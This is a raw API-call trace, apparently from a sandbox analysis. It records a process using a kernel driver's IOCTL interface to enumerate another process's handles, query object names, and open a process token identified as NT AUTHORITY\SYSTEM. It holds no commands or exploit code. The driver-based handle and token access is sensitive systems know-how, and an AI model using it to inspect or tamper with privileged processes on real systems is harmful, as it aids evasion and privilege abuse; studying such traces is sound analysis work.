ObQueryNameString (in: Object=0xfffffa80118c8540, ObjectNameInfo=0xfffffa800201f044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800201f044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.016] ObfDereferenceObject (Object=0xfffffa80118c8540) returned 0x1 [0113.016] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.016] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.016] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.016] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x50, lpOverlapped=0x0) returned 1 [0113.016] PsLookupProcessByProcessId (in: ProcessId=0x1e0, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.016] PsAcquireProcessExitSynchronization () returned 0x0 [0113.016] KeStackAttachProcess (in: PROCESS=0xfffffa8003055910, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8003055910, ApcState=0xfffff880055905d0) [0113.016] ObReferenceObjectByHandle (in: Handle=0x3c4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80118c82a0, HandleInformation=0x0) returned 0x0 [0113.016] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.016] PsReleaseProcessExitSynchronization () returned 0x2 [0113.016] ObfDereferenceObject (Object=0xfffffa8003055910) returned 0xdb [0113.016] ObQueryNameString (in: Object=0xfffffa80118c82a0, ObjectNameInfo=0xfffffa8002058044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8002058044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.016] ObfDereferenceObject (Object=0xfffffa80118c82a0) returned 0x2 [0113.016] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.016] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.016] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.016] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x50, lpOverlapped=0x0) returned 1 [0113.017] PsLookupProcessByProcessId (in: ProcessId=0x1e0, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.017] PsAcquireProcessExitSynchronization () returned 0x0 [0113.017] KeStackAttachProcess (in: PROCESS=0xfffffa8003055910, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8003055910, ApcState=0xfffff880055905d0) [0113.017] ObReferenceObjectByHandle (in: Handle=0x3c8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800308f070, HandleInformation=0x0) returned 0x0 [0113.017] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.017] PsReleaseProcessExitSynchronization () returned 0x2 [0113.017] ObfDereferenceObject (Object=0xfffffa8003055910) returned 0xdb [0113.017] ObQueryNameString (in: Object=0xfffffa800308f070, ObjectNameInfo=0xfffffa800207f044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800207f044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.017] ObfDereferenceObject (Object=0xfffffa800308f070) returned 0x1 [0113.017] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.017] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.017] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.017] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x76, lpOverlapped=0x0) returned 1 [0113.017] PsLookupProcessByProcessId (in: ProcessId=0x1e0, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.017] PsAcquireProcessExitSynchronization () returned 0x0 [0113.017] KeStackAttachProcess (in: PROCESS=0xfffffa8003055910, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8003055910, ApcState=0xfffff880055905d0) [0113.017] ObReferenceObjectByHandle (in: Handle=0x534, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800343ed10, HandleInformation=0x0) returned 0x0 [0113.017] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.017] PsReleaseProcessExitSynchronization () returned 0x2 [0113.017] ObfDereferenceObject (Object=0xfffffa8003055910) returned 0xdb [0113.017] ObQueryNameString (in: Object=0xfffffa800343ed10, ObjectNameInfo=0xfffffa800209f044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800209f044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.017] ObfDereferenceObject (Object=0xfffffa800343ed10) returned 0x2 [0113.017] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.017] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.017] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.017] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0113.017] PsLookupProcessByProcessId (in: ProcessId=0x1e0, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.017] PsAcquireProcessExitSynchronization () returned 0x0 [0113.017] KeStackAttachProcess (in: PROCESS=0xfffffa8003055910, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8003055910, ApcState=0xfffff880055905d0) [0113.017] ObReferenceObjectByHandle (in: Handle=0x5a4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80031f0a80, HandleInformation=0x0) returned 0x0 [0113.017] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.018] PsReleaseProcessExitSynchronization () returned 0x2 [0113.018] ObfDereferenceObject (Object=0xfffffa8003055910) returned 0xdb [0113.018] ObQueryNameString (in: Object=0xfffffa80031f0a80, ObjectNameInfo=0xfffffa80020ae044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80020ae044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.018] ObfDereferenceObject (Object=0xfffffa80031f0a80) returned 0x1 [0113.018] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.018] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.018] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.018] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0113.018] PsLookupProcessByProcessId (in: ProcessId=0x1e0, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.018] PsAcquireProcessExitSynchronization () returned 0x0 [0113.018] KeStackAttachProcess (in: PROCESS=0xfffffa8003055910, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8003055910, ApcState=0xfffff880055905d0) [0113.018] ObReferenceObjectByHandle (in: Handle=0x5b4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80031ee8f0, HandleInformation=0x0) returned 0x0 [0113.018] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.018] PsReleaseProcessExitSynchronization () returned 0x2 [0113.018] ObfDereferenceObject (Object=0xfffffa8003055910) returned 0xdb [0113.018] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa80020ba044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa80020ba044, ReturnLength=0xfffff88005590508) returned 0x0 [0113.018] ObfDereferenceObject (Object=0xfffffa80031ee8f0) returned 0x1 [0113.018] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.018] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.018] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.018] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0xb6, lpOverlapped=0x0) returned 1 [0113.018] PsLookupProcessByProcessId (in: ProcessId=0x1e0, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.018] PsAcquireProcessExitSynchronization () returned 0x0 [0113.018] KeStackAttachProcess (in: PROCESS=0xfffffa8003055910, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8003055910, ApcState=0xfffff880055905d0) [0113.018] ObReferenceObjectByHandle (in: Handle=0x600, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8010dc5b80, HandleInformation=0x0) returned 0x0 [0113.018] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.018] PsReleaseProcessExitSynchronization () returned 0x2 [0113.018] ObfDereferenceObject (Object=0xfffffa8003055910) returned 0xdb [0113.018] ObQueryNameString (in: Object=0xfffffa8010dc5b80, ObjectNameInfo=0xfffffa80020c6044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80020c6044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.018] ObfDereferenceObject (Object=0xfffffa8010dc5b80) returned 0x2 [0113.018] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.019] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.019] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.019] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0xba, lpOverlapped=0x0) returned 1 [0113.019] PsLookupProcessByProcessId (in: ProcessId=0x1e0, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.019] PsAcquireProcessExitSynchronization () returned 0x0 [0113.019] KeStackAttachProcess (in: PROCESS=0xfffffa8003055910, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8003055910, ApcState=0xfffff880055905d0) [0113.019] ObReferenceObjectByHandle (in: Handle=0x608, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8010dc5970, HandleInformation=0x0) returned 0x0 [0113.019] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.019] PsReleaseProcessExitSynchronization () returned 0x2 [0113.019] ObfDereferenceObject (Object=0xfffffa8003055910) returned 0xdb [0113.019] ObQueryNameString (in: Object=0xfffffa8010dc5970, ObjectNameInfo=0xfffffa80020cd044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80020cd044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.019] ObfDereferenceObject (Object=0xfffffa8010dc5970) returned 0x2 [0113.019] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.019] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.019] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.019] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0113.019] PsLookupProcessByProcessId (in: ProcessId=0x1e0, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.019] PsAcquireProcessExitSynchronization () returned 0x0 [0113.019] KeStackAttachProcess (in: PROCESS=0xfffffa8003055910, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8003055910, ApcState=0xfffff880055905d0) [0113.019] ObReferenceObjectByHandle (in: Handle=0x724, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80035681b0, HandleInformation=0x0) returned 0x0 [0113.019] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.019] PsReleaseProcessExitSynchronization () returned 0x2 [0113.019] ObfDereferenceObject (Object=0xfffffa8003055910) returned 0xdb [0113.019] ObQueryNameString (in: Object=0xfffffa80035681b0, ObjectNameInfo=0xfffffa80020db044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80020db044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.019] ObfDereferenceObject (Object=0xfffffa80035681b0) returned 0x2 [0113.019] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.019] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.019] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.019] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0113.020] PsLookupProcessByProcessId (in: ProcessId=0x1e0, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.020] PsAcquireProcessExitSynchronization () returned 0x0 [0113.020] KeStackAttachProcess (in: PROCESS=0xfffffa8003055910, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8003055910, ApcState=0xfffff880055905d0) [0113.020] ObReferenceObjectByHandle (in: Handle=0x734, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8010307f20, HandleInformation=0x0) returned 0x0 [0113.020] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.020] PsReleaseProcessExitSynchronization () returned 0x2 [0113.020] ObfDereferenceObject (Object=0xfffffa8003055910) returned 0xdb [0113.020] ObQueryNameString (in: Object=0xfffffa8010307f20, ObjectNameInfo=0xfffffa80020df044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80020df044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.020] ObfDereferenceObject (Object=0xfffffa8010307f20) returned 0x2 [0113.020] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.020] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.020] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.020] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0113.020] PsLookupProcessByProcessId (in: ProcessId=0x1e0, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.020] PsAcquireProcessExitSynchronization () returned 0x0 [0113.020] KeStackAttachProcess (in: PROCESS=0xfffffa8003055910, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8003055910, ApcState=0xfffff880055905d0) [0113.020] ObReferenceObjectByHandle (in: Handle=0x738, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800352e5a0, HandleInformation=0x0) returned 0x0 [0113.020] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.020] PsReleaseProcessExitSynchronization () returned 0x2 [0113.020] ObfDereferenceObject (Object=0xfffffa8003055910) returned 0xdb [0113.020] ObQueryNameString (in: Object=0xfffffa800352e5a0, ObjectNameInfo=0xfffffa8002506044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8002506044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.020] ObfDereferenceObject (Object=0xfffffa800352e5a0) returned 0x2 [0113.020] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.020] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.020] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.020] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0113.020] PsLookupProcessByProcessId (in: ProcessId=0x1e0, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.020] PsAcquireProcessExitSynchronization () returned 0x0 [0113.020] KeStackAttachProcess (in: PROCESS=0xfffffa8003055910, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8003055910, ApcState=0xfffff880055905d0) [0113.021] ObReferenceObjectByHandle (in: Handle=0x74c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80023916f0, HandleInformation=0x0) returned 0x0 [0113.021] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.021] PsReleaseProcessExitSynchronization () returned 0x2 [0113.021] ObfDereferenceObject (Object=0xfffffa8003055910) returned 0xdb [0113.021] ObQueryNameString (in: Object=0xfffffa80023916f0, ObjectNameInfo=0xfffffa800254c044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800254c044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.021] ObfDereferenceObject (Object=0xfffffa80023916f0) returned 0x2 [0113.021] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.021] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.021] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.021] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x38, lpOverlapped=0x0) returned 1 [0113.021] PsLookupProcessByProcessId (in: ProcessId=0x1e0, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.021] PsAcquireProcessExitSynchronization () returned 0x0 [0113.021] KeStackAttachProcess (in: PROCESS=0xfffffa8003055910, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8003055910, ApcState=0xfffff880055905d0) [0113.021] ObReferenceObjectByHandle (in: Handle=0x768, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80035a2b80, HandleInformation=0x0) returned 0x0 [0113.021] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.021] PsReleaseProcessExitSynchronization () returned 0x2 [0113.021] ObfDereferenceObject (Object=0xfffffa8003055910) returned 0xdb [0113.021] ObQueryNameString (in: Object=0xfffffa80035a2b80, ObjectNameInfo=0xfffffa800384b044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800384b044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.021] ObfDereferenceObject (Object=0xfffffa80035a2b80) returned 0x1 [0113.021] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.021] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.021] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.021] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x38, lpOverlapped=0x0) returned 1 [0113.021] PsLookupProcessByProcessId (in: ProcessId=0x1e0, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.021] PsAcquireProcessExitSynchronization () returned 0x0 [0113.021] KeStackAttachProcess (in: PROCESS=0xfffffa8003055910, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8003055910, ApcState=0xfffff880055905d0) [0113.021] ObReferenceObjectByHandle (in: Handle=0x89c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80023c7580, HandleInformation=0x0) returned 0x0 [0113.021] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.022] PsReleaseProcessExitSynchronization () returned 0x2 [0113.022] ObfDereferenceObject (Object=0xfffffa8003055910) returned 0xdb [0113.022] ObQueryNameString (in: Object=0xfffffa80023c7580, ObjectNameInfo=0xfffffa80033f8044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80033f8044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.022] ObfDereferenceObject (Object=0xfffffa80023c7580) returned 0x1 [0113.022] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.022] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.022] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.022] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x38, lpOverlapped=0x0) returned 1 [0113.022] PsLookupProcessByProcessId (in: ProcessId=0x1e0, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.022] PsAcquireProcessExitSynchronization () returned 0x0 [0113.022] KeStackAttachProcess (in: PROCESS=0xfffffa8003055910, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8003055910, ApcState=0xfffff880055905d0) [0113.022] ObReferenceObjectByHandle (in: Handle=0x8e0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80019bb3f0, HandleInformation=0x0) returned 0x0 [0113.022] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.022] PsReleaseProcessExitSynchronization () returned 0x2 [0113.022] ObfDereferenceObject (Object=0xfffffa8003055910) returned 0xdb [0113.022] ObQueryNameString (in: Object=0xfffffa80019bb3f0, ObjectNameInfo=0xfffffa8002498044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8002498044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.022] ObfDereferenceObject (Object=0xfffffa80019bb3f0) returned 0x2 [0113.022] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.029] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.029] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x1e8) returned 0xc0 [0113.029] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0113.029] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005590668, HandleInformation=0x0 | out: Object=0xfffff88005590668*=0xfffffa8003058b30, HandleInformation=0x0) returned 0x0 [0113.029] ObOpenObjectByPointer (in: Object=0xfffffa8003058b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005590670 | out: Handle=0xfffff88005590670*=0xffffffff80000970) returned 0x0 [0113.029] ObfDereferenceObject (Object=0xfffffa8003058b30) returned 0x40 [0113.029] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000970, DesiredAccess=0x8, TokenHandle=0xfffffa8003816040 | out: TokenHandle=0xfffffa8003816040*=0xc8) returned 0x0 [0113.029] ZwClose (Handle=0xffffffff80000970) returned 0x0 [0113.029] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.029] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0113.029] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="SYSTEM", cchName=0x12d3c0, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 